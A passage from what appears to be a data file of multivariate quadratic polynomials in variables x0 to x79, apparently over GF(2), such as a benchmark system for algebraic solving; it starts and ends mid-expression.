x21*x45 + x21*x46 + x21*x47 + x21*x48 + x21*x50 + x21*x51 + x21*x54 + x21*x56 + x21*x57 + x21*x58 + x21*x59 + x21*x60 + x21*x63 + x21*x64 + x21*x70 + x21*x72 + x21*x76 + x21*x77 + x21*x79 + x21 + x22*x23 + x22*x25 + x22*x27 + x22*x28 + x22*x29 + x22*x31 + x22*x33 + x22*x34 + x22*x35 + x22*x38 + x22*x43 + x22*x44 + x22*x45 + x22*x47 + x22*x48 + x22*x49 + x22*x55 + x22*x56 + x22*x57 + x22*x59 + x22*x60 + x22*x61 + x22*x63 + x22*x64 + x22*x68 + x22*x72 + x22*x73 + x22*x74 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x34 + x23*x35 + x23*x38 + x23*x39 + x23*x41 + x23*x43 + x23*x45 + x23*x47 + x23*x49 + x23*x51 + x23*x54 + x23*x56 + x23*x64 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x72 + x23*x75 + x23*x76 + x23 + x24*x26 + x24*x29 + x24*x31 + x24*x32 + x24*x34 + x24*x35 + x24*x36 + x24*x39 + x24*x42 + x24*x44 + x24*x46 + x24*x50 + x24*x52 + x24*x53 + x24*x56 + x24*x57 + x24*x60 + x24*x62 + x24*x64 + x24*x66 + x24*x67 + x24*x68 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x74 + x24*x75 + x24*x77 + x24*x79 + x25*x29 + x25*x30 + x25*x31 + x25*x33 + x25*x34 + x25*x35 + x25*x40 + x25*x41 + x25*x43 + x25*x47 + x25*x50 + x25*x54 + x25*x55 + x25*x58 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x65 + x25*x67 + x25*x68 + x25*x69 + x25*x72 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x30 + x26*x34 + x26*x39 + x26*x41 + x26*x42 + x26*x43 + x26*x45 + x26*x46 + x26*x49 + x26*x50 + x26*x51 + x26*x53 + x26*x56 + x26*x57 + x26*x60 + x26*x62 + x26*x64 + x26*x65 + x26*x67 + x26*x69 + x26*x70 + x26*x71 + x26*x75 + x26*x78 + x26*x79 + x27*x30 + x27*x31 + x27*x32 + x27*x33 + x27*x34 + x27*x35 + x27*x36 + x27*x38 + x27*x39 + x27*x43 + x27*x45 + x27*x46 + x27*x47 + x27*x48 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x57 + x27*x58 + x27*x59 + x27*x60 + x27*x61 + x27*x67 + x27*x69 + x27*x71 + x27*x73 + x27*x75 + x27*x79 + x28*x30 + x28*x31 + x28*x32 + x28*x34 + x28*x35 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x41 + x28*x42 + x28*x43 + x28*x44 + x28*x45 + x28*x46 + x28*x48 + x28*x49 + x28*x51 + x28*x52 + x28*x54 + x28*x55 + x28*x56 + x28*x59 + x28*x61 + x28*x62 + x28*x64 + x28*x65 + x28*x66 + x28*x68 + x28*x69 + x28*x70 + x28*x71 + x28*x72 + x28*x73 + x28*x76 + x28*x79 + x29*x31 + x29*x32 + x29*x35 + x29*x39 + x29*x44 + x29*x47 + x29*x48 + x29*x50 + x29*x52 + x29*x54 + x29*x56 + x29*x57 + x29*x60 + x29*x61 + x29*x64 + x29*x65 + x29*x66 + x29*x68 + x29*x70 + x29*x71 + x29*x73 + x29*x77 + x29*x78 + x30*x32 + x30*x33 + x30*x35 + x30*x36 + x30*x37 + x30*x40 + x30*x41 + x30*x42 + x30*x44 + x30*x46 + x30*x47 + x30*x55 + x30*x58 + x30*x59 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x66 + x30*x69 + x30*x71 + x30*x74 + x30*x76 + x30*x78 + x30 + x31*x33 + x31*x35 + x31*x36 + x31*x38 + x31*x39 + x31*x41 + x31*x42 + x31*x43 + x31*x46 + x31*x47 + x31*x50 + x31*x51 + x31*x52 + x31*x53 + x31*x54 + x31*x58 + x31*x61 + x31*x62 + x31*x65 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x73 + x31*x74 + x31*x77 + x32*x37 + x32*x39 + x32*x40 + x32*x46 + x32*x51 + x32*x55 + x32*x56 + x32*x59 + x32*x60 + x32*x63 + x32*x66 + x32*x70 + x32*x71 + x32*x72 + x32*x74 + x32*x75 + x32*x76 + x32*x78 + x32 + x33*x39 + x33*x40 + x33*x42 + x33*x43 + x33*x45 + x33*x48 + x33*x49 + x33*x51 + x33*x52 + x33*x53 + x33*x55 + x33*x57 + x33*x58 + x33*x59 + x33*x62 + x33*x63 + x33*x64 + x33*x65 + x33*x66 + x33*x70 + x33*x73 + x33*x75 + x33*x76 + x33 + x34*x35 + x34*x38 + x34*x39 + x34*x44 + x34*x45 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x53 + x34*x55 + x34*x57 + x34*x60 + x34*x61 + x34*x63 + x34*x64 + x34*x65 + x34*x67 + x34*x68 + x34*x70 + x34*x71 + x34*x73 + x34*x75 + x34 + x35*x36 + x35*x38 + x35*x42 + x35*x47 + x35*x48 + x35*x49 + x35*x50 + x35*x51 + x35*x54 + x35*x57 + x35*x58 + x35*x59 + x35*x60 + x35*x63 + x35*x66 + x35*x68 + x35*x72 + x35*x73 + x35*x75 + x35*x79 + x36*x37 + x36*x38 + x36*x41 + x36*x46 + x36*x51 + x36*x52 + x36*x53 + x36*x55 + x36*x58 + x36*x59 + x36*x62 + x36*x64 + x36*x66 + x36*x67 + x36*x70 + x36*x71 + x36*x73 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36 + x37*x38 + x37*x39 + x37*x40 + x37*x43 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x50 + x37*x56 + x37*x58 + x37*x60 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x74 + x37*x75 + x37*x76 + x37*x79 + x37 + x38*x45 + x38*x48 + x38*x53 + x38*x56 + x38*x58 + x38*x59 + x38*x60 + x38*x61 + x38*x63 + x38*x68 + x38*x69 + x38*x71 + x38*x72 + x38*x74 + x38*x75 + x38*x77 + x38 + x39*x41 + x39*x42 + x39*x43 + x39*x45 + x39*x47 + x39*x48 + x39*x51 + x39*x52 + x39*x54 + x39*x55 + x39*x57 + x39*x59 + x39*x61 + x39*x65 + x39*x66 + x39*x68 + x39*x69 + x39*x71 + x39*x72 + x39*x73 + x39*x76 + x39*x77 + x39*x78 + x39 + x40*x41 + x40*x43 + x40*x46 + x40*x47 + x40*x48 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x56 + x40*x57 + x40*x58 + x40*x59 + x40*x61 + x40*x62 + x40*x65 + x40*x67 + x40*x69 + x40*x73 + x40*x74 + x40*x76 + x40*x77 + x40*x78 + x41*x43 + x41*x44 + x41*x46 + x41*x48 + x41*x51 + x41*x53 + x41*x54 + x41*x56 + x41*x57 + x41*x58 + x41*x61 + x41*x62 + x41*x63 + x41*x65 + x41*x66 + x41*x70 + x41*x73 + x41*x79 + x41 + x42*x44 + x42*x45 + x42*x46 + x42*x49 + x42*x55 + x42*x58 + x42*x61 + x42*x63 + x42*x64 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x71 + x42*x73 + x42*x75 + x42*x76 + x42*x79 + x43*x46 + x43*x47 + x43*x48 + x43*x49 + x43*x50 + x43*x51 + x43*x52 + x43*x53 + x43*x54 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x60 + x43*x62 + x43*x65 + x43*x69 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x45 + x44*x46 + x44*x48 + x44*x53 + x44*x54 + x44*x55 + x44*x56 + x44*x57 + x44*x58 + x44*x61 + x44*x63 + x44*x66 + x44*x67 + x44*x70 + x44*x71 + x44*x72 + x44*x74 + x44*x76 + x45*x46 + x45*x47 + x45*x48 + x45*x54 + x45*x56 + x45*x57 + x45*x58 + x45*x60 + x45*x61 + x45*x64 + x45*x65 + x45*x66 + x45*x69 + x45*x72 + x45 + x46*x47 + x46*x48 + x46*x49 + x46*x53 + x46*x54 + x46*x56 + x46*x59 + x46*x61 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x71 + x46*x74 + x46*x75 + x46*x79 + x47*x48 + x47*x52 + x47*x53 + x47*x54 + x47*x55 + x47*x56 + x47*x57 + x47*x60 + x47*x61 + x47*x62 + x47*x63 + x47*x70 + x47*x71 + x47*x74 + x47*x75 + x47*x76 + x47*x77 + x47 + x48*x49 + x48*x53 + x48*x54 + x48*x55 + x48*x56 + x48*x59 + x48*x60 + x48*x63 + x48*x64 + x48*x65 + x48*x68 + x48*x73 + x48*x77 + x48*x78 + x48*x79 + x48 + x49*x50 + x49*x52 + x49*x53 + x49*x56 + x49*x57 + x49*x61 + x49*x63 + x49*x65 + x49*x66 + x49*x68 + x49*x69 + x49*x70 + x49*x71 + x49*x73 + x49*x74 + x49*x75 + x49*x76 + x49*x78 + x50*x51 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x59 + x50*x61 + x50*x64 + x50*x69 + x50*x71 + x50*x73 + x50*x74 + x50*x76 + x50*x78 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x57 + x51*x60 + x51*x62 + x51*x65 + x51*x66 + x51*x67 + x51*x68 + x51*x69 + x51*x73 + x52*x54 + x52*x55 + x52*x56 + x52*x59 + x52*x61 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x73 + x52*x74 + x52*x76 + x52*x77 + x52*x78 + x52 + x53*x55 + x53*x56 + x53*x60 + x53*x61 + x53*x62 + x53*x64 + x53*x74 + x53*x75 + x53*x77 + x53*x78 + x53*x79 + x54*x56 + x54*x57 + x54*x58 + x54*x62 + x54*x63 + x54*x64 + x54*x67 + x54*x72 + x54*x74 + x54*x79 + x54 + x55*x58 + x55*x62 + x55*x63 + x55*x64 + x55*x68 + x55*x69 + x55*x70 + x55*x73 + x55*x74 + x55*x75 + x55*x76 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x61 + x56*x62 + x56*x63 + x56*x64 + x56*x65 + x56*x66 + x56*x67 + x56*x68 + x56*x69 + x56*x70 + x56*x73 + x56*x74 + x56*x75 + x56*x78 + x56*x79 + x57*x59 + x57*x60 + x57*x61 + x57*x62 + x57*x64 + x57*x65 + x57*x67 + x57*x69 + x57*x72 + x57*x76 + x57*x78 + x57 + x58*x59 + x58*x60 + x58*x62 + x58*x66 + x58*x74 + x58*x75 + x58*x79 + x59*x61 + x59*x62 + x59*x65 + x59*x66 + x59*x71 + x59*x72 + x59*x73 + x59*x74 + x59*x75 + x59*x78 + x59*x79 + x59 + x60*x63 + x60*x65 + x60*x66 + x60*x69 + x60*x70 + x60*x72 + x60*x77 + x60*x78 + x61*x62 + x61*x66 + x61*x72 + x61*x73 + x61*x74 + x61*x76 + x61*x78 + x61 + x62*x63 + x62*x64 + x62*x66 + x62*x67 + x62*x69 + x62*x70 + x62*x71 + x62*x73 + x62*x74 + x62*x75 + x62*x76 + x62*x77 + x62*x78 + x62*x79 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x76 + x63*x78 + x63*x79 + x64*x65 + x64*x68 + x64*x69 + x64*x71 + x64*x73 + x64*x74 + x64*x77 + x64*x78 + x65*x67 + x65*x69 + x65*x72 + x65*x74 + x65*x76 + x65*x78 + x65 + x66*x67 + x66*x68 + x66*x69 + x66*x70 + x66*x71 + x66*x73 + x66*x75 + x66*x77 + x66*x78 + x66*x79 + x66 + x67*x68 + x67*x72 + x67*x75 + x67*x78 + x67 + x68*x69 + x68*x73 + x68*x74 + x68*x77 + x68*x79 + x69*x70 + x69*x72 + x69*x73 + x69*x76 + x69*x77 + x69 + x70*x75 + x70*x77 + x70*x78 + x70 + x71*x72 + x71*x74 + x71*x75 + x71*x77 + x71*x78 + x72*x74 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x73*x75 + x73*x79 + x73 + x74*x76 + x74*x77 + x74 + x75*x76 + x75*x77 + x75 + x76*x79 + x76 + x77*x78 + x77*x79 + x78 + x79 + 1, x0*x4 + x0*x6 + x0*x7 + x0*x8 + x0*x10 + x0*x11 + x0*x13 + x0*x15 + x0*x21 + x0*x22 + x0*x24 + x0*x25 + x0*x26 + x0*x27 + x0*x29 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x38 + x0*x39 + x0*x40 + x0*x43 + x0*x44 + x0*x45 + x0*x46 + x0*x48 + x0*x49 + x0*x51 + x0*x53 + x0*x54 + x0*x55 + x0*x56 + x0*x57 + x0*x58 + x0*x60 + x0*x65 + x0*x66 + x0*x70 + x0*x71 + x0*x73 + x0*x74 + x0*x78 + x0*x79 + x1*x4 + x1*x6 + x1*x7 + x1*x8 + x1*x10 + x1*x11 + x1*x13 + x1*x14 + x1*x21 + x1*x22 + x1*x23 + x1*x24 + x1*x25 + x1*x26 + x1*x28 + x1*x32 + x1*x35 + x1*x36 + x1*x39 + x1*x43 + x1*x45 + x1*x47 + x1*x49 + x1*x52 + x1*x53 + x1*x56 + x1*x58 + x1*x60 + x1*x61 + x1*x63 + x1*x64 + x1*x65 + x1*x69 + x1*x71 + x1*x72 + x1*x73 + x2*x4 + x2*x6 + x2*x8 + x2*x9 + x2*x11 + x2*x20 + x2*x22 + x2*x28 + x2*x30 + x2*x31 + x2*x32 + x2*x34 + x2*x35 + x2*x38 + x2*x39 + x2*x40 + x2*x41 + x2*x43 + x2*x44 + x2*x46 + x2*x48 + x2*x50 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x61 + x2*x64 + x2*x66 + x2*x71 + x2*x73 + x2*x75 + x2*x79 + x2 + x3*x5 + x3*x6 + x3*x7 + x3*x8 + x3*x9 + x3*x10 + x3*x14 + x3*x16 + x3*x19 + x3*x22 + x3*x23 + x3*x24 + x3*x25 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x35 + x3*x39 + x3*x40 + x3*x44 + x3*x46 + x3*x47 + x3*x50 + x3*x53 + x3*x54 + x3*x55 + x3*x57 + x3*x62 + x3*x64 + x3*x65 + x3*x66 + x3*x69 + x3*x71 + x3*x72 + x3*x75 + x3*x77 + x3*x78 + x3 + x4*x5 + x4*x7 + x4*x11 + x4*x12 + x4*x14 + x4*x15 + x4*x19 + x4*x20 + x4*x21 + x4*x22 + x4*x25 + x4*x27 + x4*x30 + x4*x31 + x4*x32 + x4*x33 + x4*x38 + x4*x39 + x4*x40 + x4*x41 + x4*x43 + x4*x45 + x4*x49 + x4*x50 + x4*x52 + x4*x55 + x4*x56 + x4*x57 + x4*x60 + x4*x62 + x4*x69 + x4*x70 + x4*x72 + x4*x73 + x4*x74 + x4*x76 + x4*x77 + x4*x79 + x4 + x5*x6 + x5*x7 + x5*x11 + x5*x14 + x5*x16 + x5*x18 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x27 + x5*x31 + x5*x32 + x5*x33 + x5*x36 + x5*x38 + x5*x39 + x5*x40 + x5*x42 + x5*x43 + x5*x45 + x5*x47 + x5*x48 + x5*x49 + x5*x50 + x5*x52 + x5*x55 + x5*x56 + x5*x58 + x5*x61 + x5*x64 + x5*x67 + x5*x68 + x5*x70 + x5*x71 + x5*x72 + x5*x76 + x5*x77 + x5*x78 + x6*x10 + x6*x16 + x6*x18 + x6*x20 + x6*x22 + x6*x26 + x6*x27 + x6*x29 + x6*x30 + x6*x33 + x6*x34 + x6*x37 + x6*x38 + x6*x45 + x6*x48 + x6*x50 + x6*x52 + x6*x54 + x6*x55 + x6*x56 + x6*x63 + x6*x64 + x6*x65 + x6*x67 + x6*x69 + x6*x70 + x6*x71 + x6*x73 + x6*x75 + x6*x76 + x6*x79 + x7*x8 + x7*x9 + x7*x10 + x7*x12 + x7*x14 + x7*x18 + x7*x20 + x7*x22 + x7*x25 + x7*x26 + x7*x28 + x7*x34 + x7*x35 + x7*x36 + x7*x40 + x7*x48 + x7*x50 + x7*x54 + x7*x56 + x7*x57 + x7*x58 + x7*x59 + x7*x60 + x7*x61 + x7*x62 + x7*x63 + x7*x64 + x7*x65 + x7*x67 + x7*x70 + x7*x74 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x7*x79 + x8*x10 + x8*x11 + x8*x12 + x8*x15 + x8*x16 + x8*x21 + x8*x22 + x8*x24 + x8*x25 + x8*x26 + x8*x27 + x8*x29 + x8*x31 + x8*x34 + x8*x35 + x8*x36 + x8*x37 + x8*x38 + x8*x41 + x8*x43 + x8*x45 + x8*x46 + x8*x48 + x8*x49 + x8*x50 + x8*x51 + x8*x52 + x8*x53 + x8*x54 + x8*x57 + x8*x58 + x8*x59 + x8*x60 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x67 + x8*x68 + x8*x69 + x8*x70 + x8*x73 + x8*x77 + x8 + x9*x11 + x9*x13 + x9*x14 + x9*x15 + x9*x16 + x9*x23 + x9*x27 + x9*x28 + x9*x29 + x9*x30 + x9*x31 + x9*x34 + x9*x37 + x9*x38 + x9*x41 + x9*x42 + x9*x43 + x9*x47 + x9*x50 + x9*x53 + x9*x54 + x9*x58 + x9*x61 + x9*x62 + x9*x65 + x9*x68 + x9*x69 + x9*x70 + x9*x73 + x9*x74 + x9*x75 + x9*x77 + x9*x78 + x9*x79 + x10*x14 + x10*x17 + x10*x18 + x10*x20 + x10*x21 + x10*x22 + x10*x28 + x10*x29 + x10*x30 + x10*x31 + x10*x32 + x10*x33 + x10*x35 + x10*x38 + x10*x41 + x10*x43 + x10*x46 + x10*x47 + x10*x49 + x10*x50 + x10*x51 + x10*x52 + x10*x57 + x10*x58 + x10*x59 + x10*x61 + x10*x62 + x10*x64 + x10*x65 + x10*x66 + x10*x69 + x10*x70 + x10*x71 + x10*x74 + x10*x78 + x10*x79 + x11*x13 + x11*x15 + x11*x16 + x11*x18 + x11*x19 + x11*x21 + x11*x22 + x11*x25 + x11*x26 + x11*x33 + x11*x34 + x11*x35 + x11*x36 + x11*x37 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x46 + x11*x48 + x11*x49 + x11*x52 + x11*x54 + x11*x55 + x11*x56 + x11*x58 + x11*x59 + x11*x64 + x11*x66 + x11*x68 + x11*x70 + x11*x72 + x11*x74 + x11*x75 + x11*x76 + x11*x78 + x11*x79 + x11 + x12*x13 + x12*x15 + x12*x20 + x12*x23 + x12*x24 + x12*x25 + x12*x26 + x12*x31 + x12*x34 + x12*x35 + x12*x36 + x12*x37 + x12*x39 + x12*x43 + x12*x46 + x12*x49 + x12*x50 + x12*x51 + x12*x53 + x12*x55 + x12*x58 + x12*x59 + x12*x60 + x12*x61 + x12*x63 + x12*x64 + x12*x66 + x12*x67 + x12*x74 + x12*x77 + x12*x78 + x12 + x13*x14 + x13*x17 + x13*x19 + x13*x20 + x13*x22 + x13*x23 + x13*x24 + x13*x25 + x13*x26 + x13*x27 + x13*x31 + x13*x32 + x13*x33 + x13*x36 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x45 + x13*x49 + x13*x50 + x13*x51 + x13*x52 + x13*x54 + x13*x57 + x13*x59 + x13*x60 + x13*x65 + x13*x66 + x13*x67 + x13*x72 + x13*x73 + x13*x74 + x13*x76 + x13*x79 + x14*x15 + x14*x16 + x14*x17 + x14*x19 + x14*x20 + x14*x21 + x14*x24 + x14*x25 + x14*x29 + x14*x34 + x14*x35 + x14*x37 + x14*x39 + x14*x40 + x14*x42 + x14*x46 + x14*x47 + x14*x50 + x14*x51 + x14*x52 + x14*x54 + x14*x55 + x14*x56 + x14*x58 + x14*x59 + x14*x60 + x14*x61 + x14*x62 + x14*x65 + x14*x69 + x14*x70 + x14*x71 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x22 + x15*x23 + x15*x24 + x15*x25 + x15*x26 + x15*x27 + x15*x28 + x15*x29 + x15*x30 + x15*x31 + x15*x33 + x15*x34 + x15*x37 + x15*x38 + x15*x41 + x15*x42 + x15*x43 + x15*x44 + x15*x45 + x15*x47 + x15*x49 + x15*x50 + x15*x51 + x15*x52 + x15*x56 + x15*x57 + x15*x62 + x15*x63 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x70 + x15*x72 + x15*x74 + x15*x75 + x15*x78 + x15*x79 + x15 + x16*x18 + x16*x21 + x16*x22 + x16*x25 + x16*x27 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x38 + x16*x39 + x16*x41 + x16*x42 + x16*x43 + x16*x44 + x16*x46 + x16*x48 + x16*x51 + x16*x52 + x16*x56 + x16*x60 + x16*x61 + x16*x62 + x16*x65 + x16*x66 + x16*x68 + x16*x69 + x16*x70 + x16*x72 + x16*x74 + x16*x75 + x16*x79 + x17*x18 + x17*x19 + x17*x22 + x17*x23 + x17*x24 + x17*x26 + x17*x28 + x17*x30 + x17*x31 + x17*x33 + x17*x36 + x17*x38 + x17*x39 + x17*x40 + x17*x42 + x17*x44 + x17*x45 + x17*x46 + x17*x47 + x17*x51 + x17*x52 + x17*x57 + x17*x58 + x17*x59 + x17*x61 + x17*x62 + x17*x64 + x17*x66 + x17*x68 + x17*x69 + x17*x71 + x17*x75 + x17*x76 + x17*x79 + x17 + x18*x19 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x25 + x18*x26 + x18*x29 + x18*x31 + x18*x37 + x18*x38 + x18*x41 + x18*x42 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x52 + x18*x54 + x18*x55 + x18*x57 + x18*x63 + x18*x66 + x18*x73 + x18*x77 + x18*x78 + x18 + x19*x22 + x19*x25 + x19*x26 + x19*x27 + x19*x29 + x19*x30 + x19*x32 + x19*x35 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x42 + x19*x44 + x19*x46 + x19*x47 + x19*x49 + x19*x51 + x19*x55 + x19*x56 + x19*x57 + x19*x58 + x19*x59 + x19*x60 + x19*x61 + x19*x63 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x70 + x19*x72 + x19*x73 + x19*x75 + x19*x76 + x19 + x20*x21 + x20*x25 + x20*x26 + x20*x30 + x20*x32 + x20*x34 + x20*x35 + x20*x37 + x20*x39 + x20*x41 + x20*x42 + x20*x43 + x20*x49 + x20*x50 + x20*x51 + x20*x53 + x20*x54 + x20*x55 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x67 + x20*x70 + x20*x73 + x20*x74 + x20*x75 + x20*x76 + x20*x78 + x20 + x21*x22 + x21*x26 + x21*x27 + x21*x28 + x21*x31 + x21*x32 + x21*x34 + x21*x35 + x21*x36 + x21*x37 + x21*x38 + x21*x39 + x21*x40 + x21*x42 + x21*x44 + x21*x45 + x21*x46 + x21*x47 + x21*x52 + x21*x54 + x21*x56 + x21*x58 + x21*x59 + x21*x61 + x21*x62 + x21*x64 + x21*x66 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x74 + x21*x77 + x22*x23 + x22*x24 + x22*x25 + x22*x26 + x22*x27 + x22*x29 + x22*x36 + x22*x37 + x22*x39 + x22*x40 + x22*x41 + x22*x44 + x22*x47 + x22*x48 + x22*x52 + x22*x54 + x22*x58 + x22*x60 + x22*x65 + x22*x66 + x22*x69 + x22*x70 + x22*x73 + x22*x74 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x25 + x23*x26 + x23*x28 + x23*x31 + x23*x35 + x23*x36 + x23*x40 + x23*x42 + x23*x43 + x23*x46 + x23*x51 + x23*x53 + x23*x55 + x23*x56 + x23*x57 + x23*x59 + x23*x61 + x23*x62 + x23*x65 + x23*x68 + x23*x70 + x23*x71 + x23*x74 + x23*x77 + x23*x79 + x24*x27 + x24*x28 + x24*x30 + x24*x37 + x24*x39 + x24*x43 + x24*x44 + x24*x45 + x24*x47 + x24*x48 + x24*x49 + x24*x52 + x24*x57 + x24*x59 + x24*x60 + x24*x63 + x24*x64 + x24*x65 + x24*x66 + x24*x67 + x24*x68 + x24*x73 + x24*x74 + x24*x75 + x24*x76 + x24*x77 + x25*x27 + x25*x30 + x25*x33 + x25*x35 + x25*x36 + x25*x37 + x25*x38 + x25*x39 + x25*x42 + x25*x43 + x25*x46 + x25*x48 + x25*x49 + x25*x52 + x25*x53 + x25*x54 + x25*x55 + x25*x56 + x25*x57 + x25*x60 + x25*x61 + x25*x62 + x25*x64 + x25*x65 + x25*x75 + x25*x79 + x25 + x26*x28 + x26*x33 + x26*x34 + x26*x35 + x26*x36 + x26*x39 + x26*x41 + x26*x42 + x26*x43 + x26*x44 + x26*x46 + x26*x47 + x26*x48 + x26*x49 + x26*x52 + x26*x53 + x26*x54 + x26*x56 + x26*x60 + x26*x61 + x26*x67 + x26*x70 + x26*x71 + x26*x77 + x26 + x27*x28 + x27*x32 + x27*x33 + x27*x34 + x27*x36 + x27*x37 + x27*x40 + x27*x42 + x27*x43 + x27*x44 + x27*x46 + x27*x48 + x27*x50 + x27*x51 + x27*x55 + x27*x57 + x27*x59 + x27*x60 + x27*x61 + x27*x64 + x27*x65 + x27*x66 + x27*x69 + x27*x71 + x27*x72 + x27*x73 + x27*x75 + x27*x77 + x27*x79 + x27 + x28*x31 + x28*x32 + x28*x33 + x28*x34 + x28*x39 + x28*x40 + x28*x42 + x28*x44 + x28*x45 + x28*x46 + x28*x50 + x28*x52 + x28*x54 + x28*x57 + x28*x62 + x28*x63 + x28*x66 + x28*x67 + x28*x68 + x28*x69 + x28*x70 + x28*x72 + x28*x73 + x28 + x29*x34 + x29*x35 + x29*x37 + x29*x41 + x29*x43 + x29*x46 + x29*x49 + x29*x52 + x29*x53 + x29*x55 + x29*x56 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x64 + x29*x65 + x29*x71 + x29*x73 + x29*x77 + x29*x78 + x29*x79 + x30*x32 + x30*x36 + x30*x38 + x30*x39 + x30*x41 + x30*x42 + x30*x45 + x30*x48 + x30*x50 + x30*x51 + x30*x53 + x30*x54 + x30*x56 + x30*x57 + x30*x59 + x30*x60 + x30*x61 + x30*x62 + x30*x63 + x30*x66 + x30*x67 + x30*x68 + x30*x73 + x30*x74 + x30*x78 + x30*x79 + x31*x32 + x31*x33 + x31*x35 + x31*x37 + x31*x38 + x31*x43 + x31*x44 + x31*x45 + x31*x49 + x31*x50 + x31*x56 + x31*x58 + x31*x64 + x31*x65 + x31*x68 + x31*x70 + x31*x78 + x31*x79 + x32*x34 + x32*x35 + x32*x37 + x32*x38 + x32*x40 + x32*x41 + x32*x43 + x32*x45 + x32*x47 + x32*x53 + x32*x54 + x32*x55 + x32*x56 + x32*x57 + x32*x58 + x32*x59 + x32*x62 + x32*x63 + x32*x65 + x32*x66 + x32*x68 + x32*x70 + x32*x72 + x32*x79 + x32 + x33*x34 + x33*x36 + x33*x37 + x33*x39 + x33*x40 + x33*x42 + x33*x43 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x50 + x33*x54 + x33*x55 + x33*x56 + x33*x57 + x33*x59 + x33*x60 + x33*x62 + x33*x65 + x33*x66 + x33*x67 + x33*x69 + x33*x70 + x33*x72 + x33*x74 + x33*x75 + x33*x76 + x33*x77 + x33*x79 + x33 + x34*x36 + x34*x37 + x34*x39 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x52 + x34*x55 + x34*x57 + x34*x63 + x34*x64 + x34*x65 + x34*x66 + x34*x68 + x34*x70 + x34*x71 + x34*x75 + x34*x78 + x35*x40 + x35*x41 + x35*x43 + x35*x44 + x35*x57 + x35*x59 + x35*x60 + x35*x63 + x35*x65 + x35*x66 + x35*x67 + x35*x68 + x35*x69 + x35*x71 + x35*x72 + x35*x74 + x35*x76 + x35*x78 + x36*x37 + x36*x39 + x36*x40 + x36*x42 + x36*x45 + x36*x46 + x36*x49 + x36*x52 + x36*x53 + x36*x55 + x36*x56 + x36*x57 + x36*x58 + x36*x59 + x36*x62 + x36*x63 + x36*x66 + x36*x67 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x37*x40 + x37*x41 + x37*x42 + x37*x43 + x37*x46 + x37*x48 + x37*x50 + x37*x55 + x37*x57 + x37*x58 + x37*x62 + x37*x63 + x37*x64 + x37*x65 + x37*x68 + x37*x70 + x37*x71 + x37*x72 + x37*x74 + x37*x78 + x38*x39 + x38*x46 + x38*x49 + x38*x53 + x38*x54 + x38*x55 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x62 + x38*x64 + x38*x67 + x38*x68 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x76 + x38*x79 + x39*x40 + x39*x42 + x39*x43 + x39*x45 + x39*x47 + x39*x50 + x39*x52 + x39*x54 + x39*x58 + x39*x59 + x39*x60 + x39*x62 + x39*x65 + x39*x66 + x39*x68 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x39*x78 + x40*x41 + x40*x42 + x40*x44 + x40*x46 + x40*x53 + x40*x55 + x40*x56 + x40*x57 + x40*x58 + x40*x59 + x40*x63 + x40*x64 + x40*x65 + x40*x69 + x40*x70 + x40*x72 + x40*x73 + x40*x74 + x40*x76 + x40*x78 + x40*x79 + x40 + x41*x42 + x41*x45 + x41*x46 + x41*x47 + x41*x49 + x41*x51 + x41*x52 + x41*x53 + x41*x54 + x41*x55 + x41*x57 + x41*x59 + x41*x61 + x41*x62 